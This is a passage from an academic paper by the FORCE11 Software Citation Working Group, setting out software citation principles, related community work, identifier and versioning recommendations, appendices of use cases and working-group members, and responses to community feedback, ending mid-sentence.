</tr> <tr> <td>12. Show scientific impact of holdings</td> <td>Unique identifier (●), Software name (●), Author(s) role (●), Contributor role (●), Version number (●), Release date (●), Location/repository (●), Indexed citations (●), Software license (●), Description (●), Keywords (●), Example (●)</td> <td>Repository</td> </tr> <tr> <td>13. Show how funded software has been used</td> <td>Unique identifier (●), Software name (●), Author(s) role (●), Contributor role (●), Version number (●), Release date (●), Location/repository (●), Indexed citations (●), Software license (●), Description (●), Keywords (●), Example (●)</td> <td>Funder, policy maker</td> </tr> <tr> <td>14. Evaluate contributions of researcher</td> <td>Unique identifier (●), Software name (●), Author(s) role (●), Contributor role (●), Version number (●), Release date (●), Location/repository (●), Indexed citations (●), Software license (●), Description (●), Keywords (●), Example (●)</td> <td>Evaluator, funder</td> </tr> <tr> <td>15. Store software entry</td> <td>Unique identifier (●), Software name (●), Author(s) role (●), Contributor role (●), Version number (●), Release date (●), Location/repository (●), Indexed citations (●), Software license (●), Description (●), Keywords (●), Example (●)</td> <td>Citation manager</td> </tr> <tr> <td>16. Publish mixed data/software packages</td> <td>Unique identifier (●), Software name (●), Author(s) role (●), Contributor role (●), Version number (●), Release date (●), Location/repository (●), Indexed citations (●), Software license (●), Description (●), Keywords (●), Example (●)</td> <td>Repository, library, archive</td> </tr> </tbody> </table> freely available (e.g., commercial software) or when there is no clear identifier to use, alternative means may be used to create citable objects as discussed in section Access to Software. In some cases, if particular metadata are not available, alternatives may be provided. For example, if the version number and release date are not available, the download date can be used. Similarly, the contact name/email is an alternative to the location/repository. **RELATED WORK** With approximately 50 working group participants (see Appendix A) representing a range of research domains, the working group was tasked to document existing practices in their respective communities. A total of 47 documents were submitted by working group participants, with the life sciences, astrophysics, and geosciences being particularly well-represented in the submitted resources. **General community/non domain-specific activities** Some of the most actionable work has come from the UK Software Sustainability Institute (SSI) in the form of blog posts written by their community fellows. For example, in a blog post from 2012, Jackson (2012) discusses some of the pitfalls of trying to cite software in publications. He includes useful guidance for when to consider citing software as well as some ways to help “convince” journal editors to allow the inclusion of software citations. **Wilson (2013)** suggests that software authors include a CITATION file that documents exactly how the authors of the software would like to be cited by others. While this is not a formal metadata specification (e.g., it is not machine readable) this does offer a solution for authors wishing to give explicit instructions to potential citing authors and, as noted in the motivation section (see Motivation), there is evidence that authors follow instructions if they exist (Huang, Rose & Hsu, 2015). In a later post on the SSI blog, Jackson gives a good overview of some of the approaches package authors have taken to automate the generation of citation entities such as BibTeX entries (Jackson, 2014), and Knepley et al. (2013) do similarly. While not usually expressed as software citation principles, a number of groups have developed community guidelines around software and data citation. **Van de Sompel et al. (2004)** argue for registration of all units of scholarly communication, including software. In “Publish or be damned? An alternative impact manifesto for research software,” Chue Hong (2011) lists nine principles as part of “The Research Software Impact Manifesto.” In the “Science Code Manifesto” (Barnes et al., 2016), the founding signatories cite five core principles (Code, Copyright, Citation, Credit, Curation) for scientific software. Perhaps in light of the broad range of research domains struggling with the challenge of better recognizing the role of software, funders and agencies in both the US (e.g., NSF, NIH, Alfred P. Sloan Foundation) and UK (e.g., SFTC, JISC, Wellcome Trust) have sponsored or hosted a number of workshops with participants from across a range of disciplines, specifically aimed at discussing issues around software citation (Sufi et al., 2014; Ahalt et al., 2015; Software Credit Workshop, 2015; Norén, 2015; Software Attribution for Geoscience Applications, 2015; Allen et al., 2015). In many cases these workshops produced strong recommendations for their respective communities on how best to proceed. In addition, a number of common themes arose in these workshops, including (1) the critical need for making software more “citable” (and therefore actions authors and publishers should take to improve the status quo), (2) how to better measure the impact of software (and therefore attract appropriate funding), and (3) how to properly archive software (where, how, and how often) and how this affects what to cite and when. Most notable of the community efforts are those of WSSSPE Workshops (http://wssspe.researchcomputing.org.uk/) and SSI Workshops (http://www.software.ac.uk/community/workshops), who between them have run a series of workshops aimed at gathering together community members with an interest in (1) defining the set of problems related to the role of software and associated people in research settings, particularly academia, (2) discussing potential solutions to those problems, (3) beginning to work on implementing some of those solutions. In each of the three years that WSSSPE workshops have run thus far, the participants have produced a report (Katz et al., 2014; Katz et al., 2016a; Katz et al., 2016b) documenting the topics covered. Section 5.8 and Appendix J in the WSSSPE3 report (Katz et al., 2016b) has some preliminary work and discussion particularly relevant to this working group. In addition, a number of academic publishers such as APA (McAdoo, 2015) have recommendations for submitting authors on how to cite software, and journals such as F1000Research (http://f1000research.com/for-authors/article-guidelines/software-tool-articles), SoftwareX (http://www.journals.elsevier.com/softwarex), Open Research Computation (http://www.openresearchcomputation.com) and the Journal of Open Research Software (http://openresearchsoftware.metajnl.com) allow for submissions entirely focused on research software. Domain-specific community activities One approach to increasing software “citability” is to encourage the submission of papers in standard journals describing a piece of research software, often known as software papers (see Software Papers). While some journals (e.g., Transactions on Mathematical Software (TOMS), Bioinformatics, Computer Physics Communications, F1000Research, Seismological Research Letters, Electronic Seismologist) have traditionally accepted software submissions, the American Astronomical Society (AAS) has recently announced they will accept software papers in their journals (AAS Editorial Board, 2016). Professional societies are in a good position to change their respective communities, as the publishers of journals and conveners of domain-specific conferences; as publishers they can change editorial policies (as AAS has done) and conferences are an opportunity to communicate and discuss these changes with Astrophysics Source Code Library their communities. In astronomy and astrophysics: The Astrophysics Source Code Library (ASCL; http://ASCL.net) is a website dedicated to the curation and indexing of software used in the astronomy-based literature. In 2015, the AAS and GitHub co-hosted a workshop (Norén, 2015) dedicated to software citation, indexing, and discoverability in astrophysics. More recently, a Birds of a Feather session was held at the Astronomical Data Analysis Software and Systems (ADASS) XXV conference (Allen et al., 2015) that included discussion of software citation. In the life sciences: In May 2014, the NIH held a workshop aimed at helping the biomedical community discover, cite, and reuse software written by their peers. The primary outcome of this workshop was the Software Discovery Index Meeting Report (White et al., 2014) which was shared with the community for public comment and feedback. The authors of the report discuss what framework would be required for supporting a Software Discovery Index including the need for unique identifiers, how citations to these would be handled by publishers, and the critical need for metadata to describe software packages. In the geosciences: The Ontosoft (Gil, Ratnakar & Garijo, 2015) project describes itself as “A Community Software Commons for the Geosciences.” Much attention was given to the metadata required to describe, discover, and execute research software. The NSF-sponsored Geo-Data Workshop 2011 (Fox & Signell, 2011) revolved around data lifecycle, management, and citation. The workshop report includes many recommendations for data citation. **Existing efforts around metadata standards** Producing detailed specifications and recommendations for possible metadata standards to support software citation was not within the scope of this working group. However some discussion on the topic did occur and there was significant interest in the wider community to produce standards for describing research software metadata. Content specifications for software metadata vary across communities, and include DOAP (https://github.com/edumbill/doap/), an early metadata term set used by the Open Source Community, as well as more recent community efforts like Research Objects (Bechhofer et al., 2013), The Software Ontology (Malone et al., 2014), EDAM Ontology (Ison et al., 2013), Project CRediT (CRediT, 2016), the OpenRIF Contribution Role Ontology (Gutzman et al., 2016), Ontosoft (Gil, Ratnakar & Garijo, 2015), RRR/JISC guidelines (Gent, Jones & Matthews, 2015), or the terms and classes defined at schema.org related to the https://schema.org/SoftwareApplication class. In addition, language-specific software metadata schemes are in widespread use, including the Debian package format (Jackson & Schwarz, 2016), Python package descriptions (Ward & Baxter, 2016), and R package descriptions (Wickham, 2015), but these are typically conceived for software build, packaging, and distribution rather than citation. CodeMeta (Jones et al., 2014) has created a crosswalk among these software metadata schemes and an exchange format that allows software repositories to effectively interoperate. **DISCUSSION** In this section we discuss some the issues and concerns related to the principles stated in section Software Citation Principles. What software to cite The software citation principles do not define what software should be cited, but rather how software should be cited. What software should be cited is the decision of the author(s) of the research work in the context of community norms and practices, and in most research communities, these are currently in flux. In general, we believe that software should be cited on the same basis as any other research product such as a paper or book; that is, authors should cite the appropriate set of software products just as they cite the appropriate set of papers, perhaps following the FORCE11 Data Citation Working Group principles, which state, “In scholarly literature, whenever and wherever a claim relies upon data, the corresponding data should be cited” (Data Citation Synthesis Group, 2014). Some software which is, or could be, captured as part of data provenance may not be cited. Citation is partly a record of software important to a research outcome, where provenance is a record of all steps (including software) used to generated particular data within the research process. Research results, including data, increasingly depend on software (Hannay et al., 2009), and thus may depend on the specific version used (Sandve et al., 2013; Wilson et al., 2014). Furthermore, errors in software or environment variations can affect results (Morin et al., 2012; Soergel, 2015). This implies that for a data research product, provenance data will include some of the cited software. Similarly, the software metadata recorded as part of data provenance will overlap the metadata recorded as part of software citation for the software that was used in the work. The data recorded for reproducibility should also overlap the metadata recorded as part of software citation. In general, we intend the software citation principles to cover the minimum of what is necessary for software citation for the purpose of software identification. Some use cases related to citation (e.g., provenance, reproducibility) might have additional requirements beyond the basic metadata needed for citation, as Table 2 shows. Software papers Currently, and for the foreseeable future, software papers are being published and cited, in addition to software itself being published and cited, as many community norms and practices are oriented towards citation of papers. As discussed in the Importance principle (1) and the discussion above, the software itself should be cited on the same basis as any other research product; authors should cite the appropriate set of software products. If a software paper exists and it contains results (performance, validation, etc.) that are important to the work, then the software paper should also be cited. We believe that a request from the software authors to cite a paper should typically be respected, and the paper cited in addition to the software. Derived software The goals of software citation include the linked ideas of crediting those responsible for software and understanding the dependencies of research products on specific software. In the Importance principle (1), we state that “software should be cited on the same basis as any other research product such as a paper or a book; that is, authors should cite the appropriate set of software products just as they cite the appropriate set of papers.” In the case of one code that is derived from another code, citing the derived software may appear to not credit those responsible for the original software, nor recognize its role in the work that used the derived software. However, this is really analogous to how any research builds on other research, where each research product just cites those products that it directly builds on, not those that it indirectly builds on. Understanding these chains of knowledge and credit have been part of the history of science field for some time, though more recent work suggests more nuanced evaluation of the credit chains (CRediT, 2016; Katz & Smith, 2015). Software peer review Adherence to the software citation principles enables better peer review through improved reproducibility. However, since the primary goal of software citation is to identify the software that has been used in a scholarly product, the peer review of software itself is mostly out of scope in the context of software citation principles. For instance, when identifying a particular software artifact that has been used in a scholarly product, whether or not that software has been peer-reviewed is irrelevant. One possible exception would be if the peer-review status of the software should be part of the metadata, but the working group does not believe this to be part of the minimal metadata needed to identify the software. Citation format in reference list Citations in references in the scholarly literature are formatted according to the citation style (e.g., AMS, APA, Chicago, MLA) used by that publication. (Examples illustrating these styles have been published by Lipson (2011); the follow-on Software Citation Implementation Group will provide suggested examples.) As these citations are typically sent to publishers as text formatted in that citation style, not as structured metadata, and because the citation style dictates how the human reader sees the software citation, we recommend that all text citation styles support the following: a) a label indicating that this is software, e.g., [Software], potentially with more information such as [Software: Source Code], [Software: Executable], or [Software: Container], and b) support for version information, e.g., Version 1.8.7. Citations limits This set of software citation principles, if followed, will cause the number of software citations in scholarly products to increase, thus causing the number of overall citations to increase. Some scholarly products, such as journal articles, may have strict limits on the number of citations they permit, or page limits that include reference sections. Such limits are counter to our recommendation, and we recommend that publishers using strict limits for the number of citations add specific instructions regarding software citations to their author guidelines to not disincentivize software citation. Similarly, publishers should not include references in the content counted against page limits. Unique identification The Unique Identification principle (3) calls for “a method for identification that is machine actionable, globally unique, interoperable, and recognized by a community.” What this means for data is discussed in detail in the “Unique Identification” section of a report by the FORCE11 Data Citation Implementation Group (Starr et al., 2015), which calls for “unique identification in a manner that is machine-resolvable on the Web and demonstrates a long-term commitment to persistence.” This report also lists examples of identifiers that match these criteria including DOIs, PURLs, Handles, ARKS, and NBNs. For software, we recommend the use of DOIs as the unique identifier due to their common usage and acceptance, particularly as they are the standard for other digital products such as publications. While we believe there is value in including the explicit version (e.g., Git SHA1 hash, Subversion revision number) of the software in any software citation, there are a number of reasons that a commit reference together with a repository URL is not recommended for the purposes of software citation: 1. Version numbers/commit references are not guaranteed to be permanent. Projects can be migrated to new version control systems (e.g., SVN to Git). In addition, it is possible to overwrite/clobber a particular version (e.g., force-pushing in the case of Git). 2. A repository address and version number does not guarantee that the software is available at a particular (resolvable) URL, especially as it is possible for authors to remove their content from, e.g., GitHub. 3. A particular version number/commit reference may not represent a “preferred” point at which to cite the software from the perspective of the package authors. We recognize that there are certain situations where it may not be possible to follow the recommended best-practice. For example, if (1) the software authors did not register a DOI and/or release a specific version, or (2) the version of the software used does not match what is available to cite. In those cases, falling back on a combination of the repository URL and version number/commit hash would be an appropriate way to cite the software used. Note that the “unique” in a UID means that it points to a unique, specific software version. However, multiple UIDs might point to the same software. This is not recommended, but is possible. We strongly recommend that if there is already a UID for a version of software, no additional UID should be created. Multiple UIDs can lead to split credit, which goes against the Credit and Attribution principle (2). Software versions and identifiers There are at least three different potential relationships between identifiers and versions of software: 1. An identifier can point to a specific version of a piece of software. 2. An identifier can point to the piece of software, effectively all versions of the software. 3. An identifier can point to the latest version of a piece of software. It is possible that a given piece of software may have identifiers of all three types. In addition, there may be one or more software papers, each with an identifier. While we often need to cite a specific version of software, we may also need a way to cite the software in general and to link multiple releases together, perhaps for the purpose of understanding citations to the software. The principles in section Software Citation Principles are intended to be applicable at all levels, and to all types of identifiers, such as DOIs, RRIDs, etc., though we again recommend when possible the use of DOIs that identify specific versions of source code. We note that RRIDs were developed by the FORCE11 Resource Identification Initiative (https://www.force11.org/group/resource-identification-initiative) and have been discussed for use to identify software packages (not specific versions), though the FORCE11 Resource Identification Technical Specifications Working Group (https://www.force11.org/group/resource-identification-technicalSpecifications-working-group) says “Information resources like software are better suited to the Software Citation WG.” There is currently a lack of consensus on the use of RRIDs for software. Types of software The principles and discussion in this document have generally been written to focus on software as source code. However, we recognize that some software is only available as an executable, a container, or a virtual machine image, while other software may be available as a service. We believe the principles apply to all of these forms of software, though the implementation of them will certainly differ based on software type. *When software is accessible as both source code and another type, we recommend that the source code be cited.* Access to software The Accessibility principle (5) states that “software citations should permit and facilitate access to the software itself.” This does not mean that the software must be freely available. Rather, the metadata should provide enough information that the software can be accessed. If the software is free, the metadata will likely provide an identifier that can be resolved to a URL pointing to the specific version of the software being cited. For commercial software, the metadata should still provide information on how to access the specific software, but this may be a company’s product number or a link to a website that allows the software be purchased. As stated in the Persistence principle (4), we recognize that the software version may no longer be available, but it still should be cited along with information about how it was accessed. What an identifier should resolve to While citing an identifier that points to, e.g., a GitHub repository can satisfy the principles of Unique Identification (3), Accessibility (5), and Specificity (6), such a repository cannot guarantee Persistence (4). *Therefore, we recommend that the software identifier should resolve to a persistent landing page that contains metadata and a link to the software itself, rather than directly to the source code files, repository, or executable. This ensures* longevity of the software metadata—even perhaps beyond the lifespan of the software they describe. This is currently offered by services such as figshare and Zenodo (GitHub, 2014), which both generate persistent DataCite DOIs for submitted software. In addition, such landing pages can contain both human-readable metadata (e.g., the types shown by Table 2) as well as content-negotiable formats such as RDF or DOAP (https://github.com/edumbill/doap/). Updates to these principles As this set of software citation principles has been created by the FORCE11 Software Citation Working Group (https://www.force11.org/group/software-citation-working-group), which will cease work and dissolve after publication of these principles, any updates will require a different FORCE11 working group to make them. As mentioned in section Future Work, we expect a follow-on working group to be established to promote the implementation of these principles, and it is possible that this group might find items that need correction or addition in these principles. **We recommend that this Software Citation Implementation Working Group be charged, in part, with updating these principles during its lifetime, and that FORCE11 should listen to community requests for later updates and respond by creating a new working group.** FUTURE WORK Software citation principles without clear worked-through examples are of limited value to potential implementers, and so in addition to this principles document, the final deliverable of this working group will be an implementation paper outlining working examples for each of the use cases listed in section Use Cases. Following these efforts, we expect that FORCE11 will start a new working group with the goals of supporting potential implementers of the software citation principles and concurrently developing potential metadata standards, loosely following the model of the FORCE11 Data Citation Working Group. Beyond the efforts of this new working group, additional effort should be focused on updating the overall academic credit/citation system. APPENDIX A Working group membership Alberto Accomazzi, Harvard-Smithsonian CfA Alice Allen, Astrophysics Source Code Library Micah Altman, MIT Jay Jay Billings, Oak Ridge National Laboratory Carl Boettiger, University of California, Berkeley Jed Brown, University of Colorado Boulder Sou-Cheng T. Choi, NORC at the University of Chicago & Illinois Institute of Technology Neil Chue Hong, Software Sustainability Institute Tom Crick, Cardiff Metropolitan University Mercè Crosas, IQSS, Harvard University Scott Edmunds, GigaScience, BGI Hong Kong Christopher Erdmann, Harvard-Smithsonian CfA Martin Fenner, DataCite Darel Finkbeiner, OSTI Ian Gent, University of St Andrews, recomputation.org Carole Goble, The University of Manchester, Software Sustainability Institute Paul Groth, Elsevier Labs Melissa Haendel, Oregon Health and Science University Stephanie Hagstrom, FORCE11 Robert Hanisch, National Institute of Standards and Technology, One Degree Imager Edwin Henneken, Harvard-Smithsonian CfA Ivan Herman, World Wide Web Consortium (W3C) James Howison, University of Texas Lorraine Hwang, University of California, Davis Thomas Ingraham, F1000Research Matthew B. Jones, NCEAS, University of California, Santa Barbara Catherine Jones, Science and Technology Facilities Council Daniel S. Katz, University of Illinois (co-chair) Alexander Konovalov, University of St Andrews John Kratz, California Digital Library Jennifer Lin, Public Library of Science Frank Löffler, Louisiana State University Brian Matthews, Science and Technology Facilities Council Abigail Cabunoc Mayes, Mozilla Science Lab Daniel Mietchen, National Institutes of Health Bill Mills, TRIUMF Evan Misshula, CUNY Graduate Center August Muench, American Astronomical Society Fiona Murphy, Independent Researcher Lars Holm Nielsen, CERN Kyle E. Niemeyer, Oregon State University (co-chair) Karthik Ram, University of California, Berkeley Fernando Rios, Johns Hopkins University Ashley Sands, University of California, Los Angeles Soren Scott, Independent Researcher APPENDIX B Software citation use cases This appendix records an edited, extended description of the use cases discussed in section Use Cases, originally found in FORCE11 Software Citation Working Group. This discussion is not fully complete, and in some cases, it may not be fully self-consistent, but it is part of this paper as a record of one of the inputs to the principles. We expect that the follow-on Software Citation Implementation Group will further develop these use cases, including explaining in more detail how the software citation principles can be applied to each as part of working with the stakeholders to persuade them to actually implement the principles in their standard workflows. **Researcher who uses someone else’s software for a paper** One of the most common use cases may be researchers who use someone else’s software and want to cite it in a technical paper. This will be similar to existing practices for citing research artifacts in papers. “Requirements” for researcher: - Name of software - Names of software authors/contributors - Software version number and release date, or download date - Location/repository, or contact name/email (if not publicly available) - Citable DOI of software - Format for citing software in text and in bibliography Possible steps: 1. Software developers create CITATION file and associate with source code release/repository. 2. Researcher finds and uses software for research paper. 3. Researcher identifies citation metadata file (e.g., “CITATION” file) associated with downloaded/installed software source code or in online repository/published location. CITATION file includes necessary citation metadata. CITATION file may include BibTeX entry, suggested citation format. 4. Researcher cites software appropriately, e.g., in methodology section; reference included in bibliography. **Researcher who uses someone else’s software for new software** In this case, a researcher develops new software that incorporates or depends on existing software. In order to credit the developer(s), the researcher will include citations in his/her source code, documentation, or other metadata in a similar manner to papers. Requirements for researcher: - Name of software - Names of software authors/contributors - Software version number and release date - Location/repository - Citable DOI of software - Format for citing software in source code, documentation, or citation metadata file Possible steps: 1. Assume that software developers have created a CITATION file and associated with the source code release/repository. 2. Researcher finds and uses software in the development of new software. 3. Researcher identifies citation metadata file (e.g., “CITATION” file) associated with downloaded/installled software source code or in online repository/published location. CITATION file includes necessary citation metadata. CITATION file may include BibTeX entry, suggested citation format. 4. Researcher cites software in source code, documentation, or other metadata-containing file. **Researcher who contributes to someone else’s software (open source project)** A researcher wants to contribute to someone else’s software in the manner in which their contributions will be accepted and recognized. Possible steps: 1. Researcher finds information about the software, and how contributors will be recognized 2. Researcher possibly submit a Contributor License Agreement (CLA) or Copyright Assignment Agreement (CAA) to allow the contributed content to be distributed with the software being contributed to 3. Researcher contributes to the software 4. Software maintainers accept contribution, recognize researcher’s contribution, and update the software metadata as appropriate **Researcher who wants to know who uses the researcher’s software** This case is similar to a researcher who wants to find other papers/publications that cite a particular paper. A researcher wants to gauge the usage of her software within or across communities and measure its impact on research for both credit and funding. Requirements: - Uniquely identify software - Indexed citations of software - Indexed papers that use software Steps: 1. Researcher finds software official name or unique DOI in metadata associated with downloaded/installed source code or in online repository/published location. 2. Researcher searches for software, may use online indexer (e.g., Scopus, Web of Science, Google Scholar) using software name or DOI. 3. Online indexer presents entry for software with list of citations, if any. Ideally, entry will also include metadata contained in software CITATION file and citation example. **Researcher gets credit for software development at the academic/governmental institution, in professional career, etc** This case describes the need for a researcher who has contributed to software (by design, software engineering, development, testing, patching, documentation, training, evangelizing, etc.) to have their software work recognized by their employer or colleagues for the purpose of career advancement and increased professional reputation. Requirements for researcher: - Name of software - Names of software authors/contributors - Location/repository - Citable DOI of software - Format for citing software in an official CV, in a departmental/institutional review report, etc. - Role in the software creation, that is linked to version or component - Role in contributing to the software as a “package” (not just lines of code) development of benchmarks, testing, documentation, tutorials etc. **Researcher who wants to “reproduce” another person/group’s analysis** When a researcher wants to understand or verify a research results from another researcher, they would like to use the same software. Note that accessing the exact same software is necessary but not sufficient for reproducibility. Requirements for researcher: - Name of software - Location/repository for the exact release that was used - DOI or other persistent handle for that specific release - Release has all components necessary for reproducing the work (Note: this ideally also means sample inputs and outputs) **Researcher who wants to find a piece of software to implement a task** This is the case where a research is looking for software to use but wants to understand whether it is being used in a scholarly fashion. For example, a researcher searches through a software repository and finds a package that might be useful. They look to find whether it has been used by others in the scientific literature. Requirements: - Either the software documentation page has a reference to existing literature that makes use of it. - There is a mechanism to look it up. **Publisher wants to publish a software paper** This case asks what information regarding software is needed for a publisher who wants to publish a paper describing that software. Requirements: - Name of software - Names of software authors/contributors - Location/repository - Citable DOI of software - Format for citing software in JATS, for example, as well as references in the text itself **Publisher who wants to publish papers that cite software** This case asks what information regarding software is needed for a publisher who wants to publish papers that cite that software. Requirements for publisher: - Name of software - Names of software authors/contributors - Location/repository - Citable DOI of software - Format for citing software in, e.g., JATS, as well as references in the text itself Indexer (e.g., Scopus, WoS, Scholar, MS Academic Search) who wants to build a catalog of software Provide an index over the software that is used within the research domain. Track how that software is being used by different groups of researchers and to what ends. Requirements: - Uniquely identify pieces of software used by the research literature - Connect authors and organizations to that software - Connect various software versions together Domain group (e.g., ASCL, bioCADDIE), Libraries, and Archives (e.g., University library, laboratory archive, etc.) wants to build a catalog/registry of institutional or domain software There are two different examples here: One is building a catalog/archive of software produced by those affiliated with the institution. The other is along the lines of Sayeed Choudhury's note that “data are the new special collections.” An institution may choose to build a catalog/archive of many things within a single topic or subject in order to secure all the software on a certain topic or build a collection that may draw users to their establishment, much like special collections now do for university libraries and archives. Repository showing scientific impact of holdings A repository that archives and/or maintains a collection of software. The repository would like to address usage and impact of software in its holding. Usage would aid potential users whether the software is being actively maintained or developed or has been superseded. Both would help repository know how to direct resources, e.g., maintenance, training etc. This is similar to the case of a funder wanting to know the impact of funded work. Requirements: - Code name, or a unique identifier - Relationships to previous versions - Connect to repository - Connect to research Funder who wants to know how software they funded has been used This use case is similar to “Repository showing scientific impact of holdings”, where a funder wants to find out the use and impact and software that they supported. It is also similar to “Researcher who wants to know who uses the researcher’s software.” Evaluator or funder wants to evaluate contributions of a researcher In this use case, an evaluator (e.g., academic administrator) or funder wants to evaluate the contributions of a researcher who develops software. This case is related to those where researchers want to get credit for software development, or where organizations want to evaluate the impact of software itself. **Reference management system used by researchers to author a manuscript** Reference management systems may need to be updated to internally understand that their is a software reference type, and to be able to output references to software in common formats. Requirements for reference manager: - Names of software authors/contributors - Software version number and release date - Location/repository - Citable DOI of software or paper recommended for citation - Format for citing software in citation metadata file - Citation metadata tags embedded in DOI landing page/software project page for easy ingest Possible steps: 1. Reference management system such as EndNote, Mendeley, Zotero, etc. builds affordances for software references. 2. Researcher finds software citation and adds it to their reference manager library, by (a) importing from the CITATION file (e.g., BibTeX, RIS), or (b) clicking on, e.g., an “add to Zotero library” widget in web browser. 3. Researcher writes a paper and uses the reference manager to generate citations or bibliography. **Repository wants to publish mixed data/software packages** Domain and institutional data repositories have both data and software artifacts, and want to link these together in a provenance trace that can be cited. Sometimes the software is a separately identified artifact, but at other times software is included inside of data packages, and the researcher wants to cite the combined product. **Use cases not adopted in the table** **Researcher who benchmarks someone else’s software with or without modification on one or many hardware platforms for publication** This case describes the need for a researcher who has contributed to software (by design, software engineering, development, testing, patching, documentation, training, evangelizing, etc.) to have their software work recognized by their employer or colleagues for the purpose of career advancement and increased professional reputation. Requirements for researcher: - Name of software - Names of software authors/contributors - Software version number and release date - Location/repository - Citable DOI of software or paper recommended for citation - Format for citing software in source code or citation metadata file Possible steps: 1. Software developers create CITATION file and associate with source code release/repository. 2. Researcher finds and uses software in the development of new software. 3. Researcher identifies citation metadata file (e.g., CITATION file) associated with downloaded/installed software source code or in online repository/published location. CITATION file includes necessary citation metadata. CITATION file may include BibTeX entry, suggested citation format. 4. Researcher cites software in source code, documentation, or other metadata-containing file. After review of this use case, we decided that based on the title this falls under use case 1, where a researcher uses someone else’s software for a paper. Unlike use case 1, which is general in terms of the use of software, here the use leads to a benchmarking study—but the outcome in both cases is a paper that needs to cite the software. **Researcher who wants to publish about a piece of software** The research wants to publish about a version of software they have produced. A key part of this use case is to be able to connect the given narrative to a specific version of the software in questions and connect that in large story. Requirements: - Name of software - Names of software authors/contributors - Location/repository - Citable DOI of Software - Links to older versions of software This is similar to use case 1, other than the fact that the software developer(s) and paper author(s) will likely be the same person/people here. **Researcher wants to record the software that generated some data** This is the case where a researcher is using some software to perform an analysis, either of a physical sample or of data. The researcher needs to know which version was used, for example in case a bug was fixed. Note that knowing the software and its version is not sufficient to determine the “conditions” of the analysis, but they are essential. Requirement: The analysis, or the generated data, has information about the software used. This is also similar to use case 1, except in that case the research output is a paper, while here the output is a dataset. **Researcher who wants to reproduce experience of use of a particular software implementation in context** Researcher is engaged in historical/cultural research, e.g., a study of video games as cultural artifacts. **Requirements:** - Name of software - Software version number - Documentation of the execution environment/context - Location/repository for virtual machine (or equivalent) comprising both software and execution environment/context - Persistent identifier associated with virtual machine instance (or equivalent) comprising both software and execution environment/context **Possible steps:** 1. Researcher obtains persistent ID from citation 2. Research uses a persistent ID resolution service to resolve ID to a location of an executable VM instance in a repository 3. Researcher obtains VM in the repository, executes it, and interacts with software This overlaps use case 6 (reproducing analysis), and so we decided not to include this as a distinct use case. **APPENDIX C** **Feedback following FORCE2016** **On unique identification** I know this suggestion of a single unique identifier comes from the DOI perspective where it works pretty well, but I’m wondering if something different in the way of identification should be used for software. For creative works generally there is the FRBR model which defines several levels for a creative entity—“work,” “expression,” “manifestation,” and “item.” I think something along these lines are particularly relevant for software—it is useful to be able to locate all uses of a particular piece of software no matter what version (the “work” level—software identified by a particular name and purpose over a period of time), but it is also important to specify the particular version used in any given work (“expression”—the source code at the time of use) and in some cases also the platform (“manifestation”—the compiled bytes including libraries, for example a docker image). “Item” probably isn’t relevant for software. That is, I think a software citation perhaps could use THREE distinct unique identifiers, one for the work itself, one for the specific version (source code), and possibly an additional one for the actual downloadable binary image that can be run. Rather than leave it implicit I think recognizing the different levels of citable record would be helpful here. #F11SC Reply: I interpret the requirement for “global uniqueness” as referring to the identifier itself. Two different people can have the same name (not globally unique) but cannot share a single ORCID (globally unique). Global uniqueness of the identifier does not preclude multiple identifiers pointing to the same person. I think the suggestion of differentiating between different software expressions/manifestations/items is a reasonable one, but I don’t think it relaxes the requirement for identifiers to be globally unique. Our response: We agree that there are valid points here, but on balance we don’t feel that the rewards from implementing this outweigh the practical challenges. On accessibility Should this document address this in further detail? For example, “permit and facilitate access” could be explored further. Should this be done through open access licensing? repositories? Who’s responsible for providing this access? I am also wondering if this is a separate issue since “citing” traditionally pointed to publications but did not necessarily address access. DOI, for example is stated, but doesn’t guarantee “access,” so does this simply restating point 3, or should it provide something new? Our response: We agree that accessibility should receive further attention, which the follow-on group focusing on implementation will provide. However, this is out of scope for the document outlining the principles. To the second point, accessibility provides information about access, but does not guarantee access itself (e.g., paywalled article). On specificity I am wondering if this should be folded into number 3 “Unique Identification.” Both seem to deal with the issue of identification and access. Our response: A unique software identifier can point to the specific version/variant of software, but it can also identify other things (collection of versions, repository, etc.), while this principle deals with the need to identify the specific version of software used (via citation). **On academic credit** A lot of software that were developed by non-academic engineers also contribute to academic research indirectly. Their names and contributions should also be credited. So removing “Academic” makes more sense? *Reply:* This is a good point, though I think academic and non-academic credit are different, so perhaps we can add to this regarding non-academic credit, rather than removing “academic.” *Reply:* I agree with Daniel on this. Keep Academic and add non-academic. **Our response:** We’ve made the bullet more general, just about credit, discussing academic credit and adding a sentence about non-academic credit as well. **On citations in text** Although the focus here is on citations in the references, as a publisher, our experience is that most common practice of “citation” of data and software for authors is typically in the main body of the text. In order to encourage software to be treated and valued as a first-class research object, it is important that citations to it be positioned in the references as citations to articles and books are. However, it would be a missed opportunity if we did not leverage current practices of authors. This will also likely arise during implementation, as it has for the Data Citation Implementation Publisher Early Adopters Pilot. This could be addressed in future work on implementation. **Our response:** In the principles, we propose that software should be cited in the references list, to recognize the primary role of software in research. However, this practice is not mutually exclusive with also referencing/citing software in the main body of a paper—as long as the software is cited in the references. **On unique identification** Clearer instructions will be needed for authors on which version to cite. For BioMed Central journals, we ask authors to cite two versions of the software, an archived version (e.g., on Zenodo) as well as the current version (e.g., on GitHub). This is to ensure accessibility. However, if repositories and archives were to include a persistent link to the current version of the software, publishers could then instruct authors to cite only software with a UID, which wouldn’t point to a current version, but would point to the version(s) used and would be a more accurate version of scientific record. Related to this point is the idea of group object identifiers. A need for group identifiers has been identified in the area of data (e.g., in the case of meta-analyses), and one could also identify a use case for these in the case of software, collecting metadata around all versions of a given software package. See blog here (https://blog.datacite.org/to-better-understand-research-communication-we-need-a-groid-group-object-identifier/). Our response: We recommend citing the specific version of the software that was used. We expect that the unique identifier (e.g., DOI) will point to a landing page that directs to the repository/current version. However, this is more of a convenience issue that the software developers should address, rather than the author citing the software they used. On future work For implementation we would recommend both consulting with adopters as well as developing metadata standards simultaneously rather than developing metadata standards and then pursuing early adopters implementation. The work early adopters are doing now for data citation will be able to be leveraged for software citation and the changes needed to do so could happen now. There is no need to wait on approval of new tagging for a specific metadata standard. Many publishers will have their own preferred metadata standards and so implementation could begin now with publishers, as long as we know what we want to capture. Future implementation groups might also consider levels of contribution. This is particularly relevant for software. Who is considered an author? For example, to what extent should authors of pull requests receive attribution? This might be considered in an FAQs group, or possibly an early adopters group. Our response: We agree that metadata standards should be developed with the input of adopters, and have updated this text accordingly. Additional thoughts (not sure what section this applies to) The principles do not address virtual machines. As these are becoming more common and relevant when addressing the reproducibility of research, it is important this “form” of software is acknowledged. The question remains in which cases should authors cite the current version, which the 